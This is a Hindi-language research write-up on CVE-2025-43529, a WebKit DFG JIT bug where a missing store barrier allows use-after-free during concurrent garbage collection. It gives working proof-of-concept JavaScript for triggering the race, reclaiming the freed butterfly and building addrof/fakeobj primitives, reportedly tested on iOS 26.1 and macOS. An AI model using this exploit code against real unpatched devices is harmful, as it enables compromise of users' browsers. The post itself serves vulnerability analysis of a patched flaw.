
CVE-2025-43529 के लिए तकनीकी एक्सप्लॉइट, WebKit DFG JIT कंपाइलर भेद्यता जो समवर्ती GC में लापता स्टोर बैरियर के माध्यम से उपयोग-के-बाद-मुक्त सक्षम करती है, iOS और macOS के लिए पूर्ण शोषण प्राइमिटिव के साथ।
Apple ने हाल ही में iOS 26.2 और iPadOS 26.2 जारी किया है, साथ ही एक सुरक्षा सलाहकार भी जिसमें WebKit कमजोरियों के लिए सुधार शामिल हैं। DFG JIT कंपाइलर में एक बग (CVE-2025-43529) सबसे अलग था, इसलिए मैंने इसे खंगालने का फैसला किया।
JIT कंपाइलर ने सही ढंग से पहचाना कि एक Phi नोड (जहाँ कई नियंत्रण-प्रवाह पथ मिलते हैं) बच गया था, लेकिन वह यह नोटिस करने में विफल रहा कि Phi के Upsilon नोड भी बच गए थे। इस वजह से, DFG संकलन StoreBarrierInsertionPhase ने Store Barrier सम्मिलित करना छोड़ दिया, जो एक महत्वपूर्ण मेमोरी-सुरक्षा तंत्र है। परिणामस्वरूप, समवर्ती GC उन वस्तुओं को मिस कर सकता है जिन्हें उसे स्कैन करना चाहिए था, जो उपयोग-के-बाद-मुक्त (use-after-free) का कारण बन सकता है।
आप पैच कमिट यहाँ पा सकते हैं।
मैंने पुष्टि की है कि मेरा शोषण iOS 26.1, iPadOS 26.1 और macOS Tahoe 26.0.1 पर काम करता है।
JSC हीप को कुशलता से प्रबंधित करने के लिए जनरेशनल GC मॉडल का उपयोग करता है। इस मॉडल में, मेमोरी को वस्तु की आयु के आधार पर Eden (नया स्थान) और पुराने स्थान में विभाजित किया जाता है। सभी नव-आवंटित वस्तुएँ Eden में शुरू होती हैं। जब Eden भर जाता है, तो एक Eden GC ट्रिगर होता है और कोई भी जीवित वस्तु पुराने स्थान पर प्रवर्तित हो जाती है। पुराने स्थान की वस्तुओं को साफ करने के लिए पूर्ण GC की आवश्यकता होती है।
जनरेशनल GC को कार्य करने के लिए, GC को वस्तुओं को "पहले से स्कैन किया गया", "स्कैन करने की आवश्यकता है" या "पुनः स्कैन करने की आवश्यकता है" के रूप में वर्गीकृत करने की आवश्यकता है। JSC में, इसे किसी वस्तु के cellState का उपयोग करके ट्रैक किया जाता है। (सभी GC-प्रबंधित वस्तुएँ JSCell से प्राप्त होती हैं।)
StructureID m_structureID;
union {
uint32_t m_blob;
struct {
IndexingType m_indexingTypeAndMisc;
JSType m_type;
TypeInfo::InlineTypeFlags m_flags;
CellState m_cellState;
};
};
cellState 1 बाइट है और तीन रंगों में से एक हो सकता है: Black (0), White (1), और Grey (2)।
White का अर्थ है एक ऐसी वस्तु जिसे अभी-अभी Eden में आवंटित किया गया है। वर्तमान GC चक्र में, इसे अभी तक चिह्नित नहीं किया गया है। यदि यह GC चक्र के अंत तक इसी अवस्था में रहता है, तो वस्तु एकत्रित हो जाएगी।
Black का अर्थ है कि GC ने पहले ही वस्तु को चिह्नित करना समाप्त कर दिया है या चिह्नित करने की प्रक्रिया में है। मूलतः इसे जीवित माना जाता है, हालाँकि isMarked बिट अभी भी बंद हो सकता है।
Grey का अर्थ है एक ऐसी वस्तु जिसे अभी भी स्कैन करने की आवश्यकता है। अधिक सटीक रूप से, यह मूल रूप से Black थी, लेकिन यह write barrier द्वारा पकड़ी गई और याद किए गए सेट में जोड़ दी गई। दूसरे शब्दों में, इसके संदर्भ बदल गए, इसलिए GC को इसे फिर से स्कैन करने की आवश्यकता है।
JSC में समवर्ती GC भी है, जो मेमोरी को पुनः प्राप्त किए जाने के दौरान एप्लिकेशन को चलने देता है। यदि GC पृष्ठभूमि में किसी वस्तु को चिह्नित कर रहा है और एप्लिकेशन उसी समय उस वस्तु की स्थिति बदल देता है, तो आप रेस की स्थिति में पहुँच सकते हैं।
इसे रोकने के लिए, आपको ऑर्डरिंग गारंटी की आवश्यकता है। जैसे "लिखना (स्टोर) A, फिर पढ़ना (लोड) B" उसी सटीक क्रम में होना। लेकिन ARM64 पर, प्रदर्शन कारणों से, CPU मेमोरी ऑपरेशन को पुनर्क्रमित कर सकता है। इसका मतलब है कि GC गलत मान पढ़ सकता है।
इसलिए JSC ऑर्डरिंग लागू करने के लिए CPU के डेटा डिपेंडेंसी पर निर्भर डिपेंडेंसी क्लास या विशेष ARM64 निर्देश जैसे STLR और LDAR का उपयोग करता है। STLR यह सुनिश्चित करता है कि पहले के रीड/राइट स्टोर से पहले दिखाई दें (एक रिलीज़ स्टोर)। LDAR यह सुनिश्चित करता है कि बाद के रीड/राइट लोड से आगे न बढ़ सकें (एक अधिग्रहण लोड)। जब कोई अन्य थ्रेड किसी वस्तु को पढ़ता है, तो LDAR को STLR के साथ जोड़ा जाता है ताकि वह सुरक्षित रूप से सबसे हाल के डेटा का निरीक्षण कर सके।
DMB एक एकल विशेष निर्देश नहीं है। यह एक बैरियर है जो इसके आस-पास सभी मेमोरी एक्सेस में ऑर्डरिंग लागू करता है। यह सुनिश्चित करता है कि DMB से पहले के मेमोरी ऑपरेशन इसके बाद के ऑपरेशन से पहले दिखाई दें।
JSC में कुल तीन JIT टियर हैं। निष्पादन गति और संकलन लागत (मेमोरी/समय) को संतुलित करने के लिए, यह अनुकूलन लागू करता है और कोड को इसके चलने की आवृत्ति के आधार पर अगले टियर पर ले जाता है।
Baseline JIT पहला JIT कंपाइलर है। यह कम संकलन ओवरहेड के साथ तेज़ी से नेटिव कोड प्राप्त करने पर ध्यान केंद्रित करता है। DFG JIT Baseline JIT के बाद का अगला चरण है, जहाँ गंभीर अनुकूलन शुरू होता है।
DFG टियर पर, जावास्क्रिप्ट निर्देशों को DFG IR नोड्स से बने ग्राफ में परिवर्तित किया जाता है। इसके द्वारा एकत्रित प्रकार की जानकारी का उपयोग करके, कंपाइलर अनावश्यक संचालन को हटाने के लिए अनुमान (speculation) लगाता है।
JSC के DFG अनुकूलन पाइपलाइन में, StoreBarrierInsertionPhase मेमोरी पर लिखने वाले नोड्स के बाद, जैसे PutByOffset, एक StoreBarrier सम्मिलित करता है।
CVE-2025-43529 एक कमजोरी है जो StoreBarrierInsertionPhase के दौरान StoreBarrier को सम्मिलित करने में विफलता के कारण होती है, जब इसे सम्मिलित किया जाना चाहिए था।
StoreBarrier एक नोड है जो write barrier की तरह कार्य करता है। इसका उपयोग मार्किंग थ्रेड के साथ रेस में शुद्धता बनाए रखने के लिए किया जाता है।
पैच कमिट में वर्णित कमजोर DFG नोड परिदृश्य इस प्रकार दिखता है:
BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
Branch(BB#2, BB#3)
BB#2
...
d: Something
e: Upsilon(@d, ^f)
Jump(BB#3)
BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...
BB#1 में, दो नई वस्तुएँ बनाई जाती हैं, और निष्पादन या तो BB#2 या BB#3 पर शाखा करता है। फिर BB#2 BB#3 में गिर जाता है। BB#3 में दिलचस्प हिस्सा Phi नोड है। इसका मतलब है कि f या तो c या e है, और यह विकल्प अपस्ट्रीम Upsilon नोड्स द्वारा निर्धारित किया जाता है। BB#3 में, PutByOffset का अर्थ है किसी वस्तु के गुण में मान जोड़ना।
let A = { p0: 0x41414141 };
function jitme(flag) {
// BB#1
let a = { p0: 13.37 };
let b = { p0: 0x42424242 };
let f;
if (flag) {
// BB#2
f = b;
} else {
// BB#3
f = 1.1; // d
}
// BB#4
A.p0 = f;
b.p0 = a;
}
यदि आप --dumpFTLDisassembly=true विकल्प का उपयोग करते हैं, तो आप FTL संकलन के बाद असेंबली का निरीक्षण कर सकते हैं।
// Starting BB#3
0 3 60: D@46:< 1:-> Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
1 3 60: D@53:<!0:-> ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
2 3 60: D@57:<!0:-> ExitOK(MustGen, W:SideState, bc#50, ExitValid)
3 3 60: D@63:<!0:-> KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
4 3 60: D@60:<!0:-> ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
5 3 60: D@67:<!0:-> KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
6 3 60: D@66:<!0:-> ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
7 3 60: D@69:<!0:-> FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
8 3 60: D@70:<!0:-> PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)
// StoreBarrier for D@65(A)
9 3 60: D@78:<!0:-> FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
10 3 60: D@73:<!0:-> FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#72, ExitValid)
// D@36 : b
// D@26 : a
// b.p0 = a
11 3 60: D@75:<!0:-> PutByOffset(KnownCell:Kill:D@36, KnownCell:D@36, Check:Untyped:Kill:D@26, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#72, ExitValid)
// StoreBarrier for D@36(b) supposed to be here
12 3 60: D@71:<!0:-> Return(Check:Untyped:Kill:D@2, MustGen, W:SideState, Exits, bc#78, ExitValid)
बग के कारण, b के लिए StoreBarrier उत्सर्जित नहीं हुआ।
वस्तु A पुराने स्थान में रहती है। पहले PutByOffset (A.p0 = f) में, पुरानी वस्तु A नई वस्तु f की ओर इशारा करती है। इसका मतलब है कि मार्किंग थ्रेड उस स्टोर के बाद किसी भी समय A के माध्यम से f तक पहुँच सकता है। इसलिए यदि आप बाद में f के गुणों को बदलते हैं, तो एक StoreBarrier सम्मिलित किया जाना चाहिए।
f (Phi नोड) को बच निकलने वाला माना जाता है, लेकिन वास्तविक इनपुट जो f में प्रवाहित हो सकते हैं (Upsilon के माध्यम से: b और d) को बच निकलने वाला चिह्नित नहीं किया जाता है। तार्किक रूप से, यदि f को A में संग्रहीत किया जाता है, तो कोई भी वस्तु जो f बन सकती है, जिसमें b भी शामिल है, प्रभावी रूप से A में भी संग्रहीत हो जाती है। लेकिन बग के कारण, कंपाइलर यह नहीं समझता है, इसलिए वह अभी भी b को एक गैर-बच निकलने वाला "सुरक्षित" मान मानता है जिसे GC को स्कैन करने की आवश्यकता नहीं होगी, और वह StoreBarrier को छोड़ देता है।
use-after-free को ट्रिगर करने के लिए, आपको मुख्य थ्रेड और मार्किंग थ्रेड के बीच एक रेस में सफल होना होगा। परिदृश्य इस प्रकार है:
समवर्ती मार्किंग (मार्किंग थ्रेड):
मार्किंग थ्रेड पुराने स्थान की वस्तु A से चलकर b तक पहुँचता है, और A और b दोनों को Black के रूप में चिह्नित करता है।
संदर्भ अद्यतन (मुख्य थ्रेड):
मुख्य थ्रेड b.p0 = a निष्पादित करता है। इस बिंदु पर, a एक Eden वस्तु है जिसे अभी तक चिह्नित नहीं किया गया है, इसलिए यह अभी भी White है। यह एक Black वस्तु बनाता है जो एक White वस्तु की ओर इशारा करती है।
लुप्त स्टोर बैरियर:
सामान्यतः, b को याद किए गए सेट में जोड़ा जाना चाहिए। लेकिन बग के कारण स्टोर बैरियर छोड़ दिया जाने के कारण, GC को कभी पता नहीं चलता कि b अब a की ओर इशारा करता है। GC चक्र जारी रहता है और यदि कोई और चीज़ a को संदर्भित नहीं करती है, तो यह पूरे समय White रहता है और अंततः मुक्त हो जाता है।
GC चक्र का अंत:
उसके बाद, b.p0 पढ़ने से मुक्त मेमोरी स्पर्श हो सकती है, जो use-after-free का कारण बन सकती है।
रेस कंडीशन का लाभ उठाने का सबसे कठिन हिस्सा रेस विंडो को हिट करना है। वस्तुओं A और b को एक ही GC चक्र में चिह्नित करने की आवश्यकता है। मुख्य थ्रेड और मार्किंग थ्रेड के बीच समय को संरेखित करने के लिए, मैंने तीन तकनीकों का उपयोग किया।
arr = new Array(0x40_0000).fill(1.1);
let arr_index = arr.length - 1;
let A = {
p0: 0x41414141,
p1: 1.1,
p2: 2.2,
};
arr[arr_index] = A;
पहला, A के लिए स्कैन शुरू होने तक समय विंडो को सुरक्षित करने के लिए, आपको GC को कुछ चाइल्ड विज़िट करने की आवश्यकता है, मैंने arr को बड़ा बनाया और A को अंतिम इंडेक्स पर रखा। यहाँ ध्यान देने वाली बात यह है कि A को पुराने स्थान में रहने की आवश्यकता है।
let forGC = [];
let a = new Date(1);
a[0] = 1.1;
for (let j = 0; j < allocCount; ++j) {
let arr = new ArrayBuffer(0x80_0000);
forGC.push(arr);
}
A.p2 = forGC;
दूसरा, पुराने स्थान में A को स्कैन करने के लिए एक पूर्ण GC ट्रिगर की आवश्यकता होती है। इसके लिए, आपको पर्याप्त मात्रा में बड़ी वस्तुएँ आवंटित करने की आवश्यकता है। GC के ट्रिगर को काफी सुसंगत बनाने के लिए, मैंने आवंटित वस्तुओं के संदर्भ को बनाए रखा, ताकि वे "अप्रयुक्त" के रूप में ऑप्टिमाइज़ न हों, मैंने उन्हें A.p2 में संग्रहीत किया।
A.p1 = f;
let v = 1.1;
for (let i = 0; i < 1e6; ++i) {
for (let j = 0; j < k; ++j) {
v = i;
v = j;
}
}
b.p0 = v;
b.p1 = a;
तीसरा, एक बार पूर्ण GC ट्रिगर हो जाने के बाद, यदि आप पर्याप्त बड़े ऐरे का उपयोग करके A की मार्किंग में देरी करने का प्रबंधन करते हैं, तो मुख्य थ्रेड को अभी भी A की मार्किंग समाप्त होने की आवश्यकता है, ठीक उससे पहले जब वह a का संदर्भ b में जोड़ता है। उस समय को बल देने के लिए, मैंने एक बड़ा लूप जोड़ा। और लूप को ऑप्टिमाइज़ होने से रोकने के लिए, मैंने अंतिम मान b.p0 में संग्रहीत किया।
GC चक्र समाप्त होने के बाद, आप देख सकते हैं कि जब एक MarkedBlock जिसमें मुक्त की गई वस्तुएँ हैं, फिर से उपयोग में लाया जाता है, तो उस ब्लॉक में जो वस्तुएँ चिह्नित नहीं की गई थीं, उन्हें swept कर दिया जाता है। JSC में, स्वीप तंत्र MarkedBlock के सभी या भाग को आगे के आवंटन के लिए उपलब्ध कराता है। मुक्त की गई वस्तु का पता आवंटक के लिए तभी पुन: प्रयोज्य होता है जब ऐसा होता है।
reclaimed = false;
for (let i = 0; i < 1e6; ++i) {
let arr = [13.37, 2.2, 3.3, 4.4, noCow];
ref.push(arr);
if (freed_object[0] === 13.37) {
reclaimed = true;
break;
}
}
if (!reclaimed) {
print('failed');
}
रेस के बाद, लूप बार-बार लंबाई 5 के एरे आवंटित करता है ताकि swept बटरफ्लाई को पुनः प्राप्त करने को प्रोत्साहित किया जा सके। यदि बटरफ्लाई को पुनः आवंटित किया जाता है, तो आप उस वस्तु के अनुक्रमित गुणों को पढ़कर इसका पता लगा सकते हैं जो समान बटरफ्लाई पता साझा करती है।
आंतरिक रूप से, arr बनाना JSC::constructArrayBuffer को कॉल करता है, जो MarkedBlock::Handle::specializedSweep को ट्रिगर करता है। यहीं पर बटरफ्लाई वाले ब्लॉक के लिए FreeList प्रारंभिक रूप से बनाई जाती है।
void MarkedBlock::Handle::specializedSweep(...)
{
// ...
if (emptyMode == IsEmpty || (marksMode != MarksNotStale && newlyAllocatedMode != HasNewlyAllocated)) {
// ...
if (sweepMode == SweepToFreeList) {
if (scribbleMode == Scribble) [[unlikely]]
scribble(payloadBegin, payloadEnd - payloadBegin);
FreeCell* interval = reinterpret_cast_ptr<FreeCell*>(payloadBegin);
interval->makeLast(payloadEnd - payloadBegin, secret);
freeList->initialize(interval, secret, payloadEnd - payloadBegin);
}
return;
}
// ...
}
PoC के साथ, यदि रेस के बाद बटरफ्लाई वाले ब्लॉक पर स्वीप चलता है, तो emptyMode, marksMode, और newlyAllocatedMode क्रमशः IsEmpty, MarksStale, और DoesNotHaveNewlyAllocated हो जाते हैं, इसलिए निष्पादन उपरोक्त if कथन में प्रवेश करता है।
सामान्य स्वीप के साथ आपको टुकड़ों में फ्री लिस्ट बनानी होगी, लेकिन यहाँ पूरा ब्लॉक खाली है, इसलिए फ्री लिस्ट को पूरे ब्लॉक को कवर करने वाले एक बड़े अंतराल के रूप में प्रारंभ किया जाता है। freeList संरचना बहुत सरल है। यह मूलतः केवल चंक के आरंभ और अंत और उसके आकार को ट्रैक करता है।
इस बिंदु पर, freeList में एक पूरा ब्लॉक होता है जिसमें बटरफ्लाई पॉइंटर शामिल होता है।
template<typename Func>
ALWAYS_INLINE HeapCell* FreeList::allocateWithCellSize(const Func& slowPath, size_t cellSize)
{
if (m_intervalStart < m_intervalEnd) [[likely]] {
char* result = m_intervalStart;
m_intervalStart += cellSize;
return std::bit_cast<HeapCell*>(result);
}
// ...
}
freeList से आवंटन FreeList::allocateWithCellSize द्वारा संभाला जाता है। यदि m_intervalStart और m_intervalEnd बराबर नहीं हैं, तो आवंटक अंतराल में उपलब्ध मुक्त कोशिकाएँ मानता है, नई वस्तु के लिए पते के रूप में वर्तमान आरंभ पॉइंटर लौटाता है, और फिर cellSize द्वारा आरंभ पॉइंटर को आगे बढ़ाता है।
यह फ़ंक्शन JSC::constructArray से कॉल किया जाता है, और लूप के अंदर बार-बार हिट होता है। अंततः, एक नव-आवंटित ऐरे अपने बटरफ्लाई के लिए मुक्त बटरफ्लाई पते का उपयोग करना समाप्त कर देता है।
शोषण के विफल होने के कई कारण हैं, लेकिन एक आसान सुधार स्टैक पर छोड़े गए बटरफ्लाई पॉइंटर से छुटकारा पाना है।
बटरफ्लाई आवंटन के दौरान, आवंटित पॉइंटर बार-बार स्टैक पर लिखा जाता है। यदि वह पॉइंटर use-after-free को ट्रिगर करने वाले फ़ंक्शन को कॉल करने के बाद भी पीछे रह जाता है, तो GC द्वारा रूढ़िवादी स्टैक स्कैनिंग इसे उठा सकती है और चिह्नित कर सकती है, जो इसे मुक्त होने से रोकता है और अंततः इसे सामान्य की तरह "सुरक्षित" करता है।
PoC में, इसे एक फ़ंक्शन को कॉल करके संबोधित किया गया था जो बड़ी संख्या में स्टैक फ्रेम बनाता है।
function recursive(n) {
if (n === 0)
return;
n = n | 0;
recursive(n - 1);
}
recursive(10000);
पुनरावर्ती फ़ंक्शन को कॉल करके, मुख्य थ्रेड अपने स्टैक स्थान को फ़ंक्शन फ्रेम से भर देता है, सभी शेष बटरफ्लाई पतों को अन्य मानों से अधिलेखित कर देता है। उसके बाद, स्टैक स्कैनिंग के दौरान बटरफ्लाई पॉइंटर मिलने की संभावना कम होती है, जिससे GC द्वारा उस बटरफ्लाई को स्कैन न करने की संभावना बढ़ जाती है।
let boxed_arr = reclaimed_object;
boxed_arr[0] = {}; // Double -> Contiguous
let unboxed_arr = freed_object;
function addrof(obj) {
boxed_arr[0] = obj;
return ftoi(unboxed_arr[0]);
}
function fakeobj(addr) {
unboxed_arr[0] = itof(addr);
return boxed_arr[0];
}
use-after-free के साथ, आपके पास मुक्त वस्तु a के साथ-साथ नव-आवंटित ऐरे में भी वही बटरफ्लाई हो सकती है। फिर दोनों वस्तुओं को अलग-अलग IndexingType का उपयोग करके, आप इस एकल बटरफ्लाई में मानों को Double और Contiguous दोनों में एक्सेस कर सकते हैं। यह सीधे क्लासिक addrof और fakeobj प्रिमिटिव की ओर ले जाता है।
यदि आप addrof/fakeobj प्रिमिटिव बनाने में कामयाब रहे हैं, तो आप आसानी से रीड/राइट प्रिमिटिव बना सकते हैं। लेकिन कोड निष्पादन प्राप्त करने के लिए, आपको अभी भी पॉइंटर प्रमाणीकरण (pointer authentication) को बायपास करने की आवश्यकता है। यह भाग एक चुनौती के रूप में छोड़ा गया है।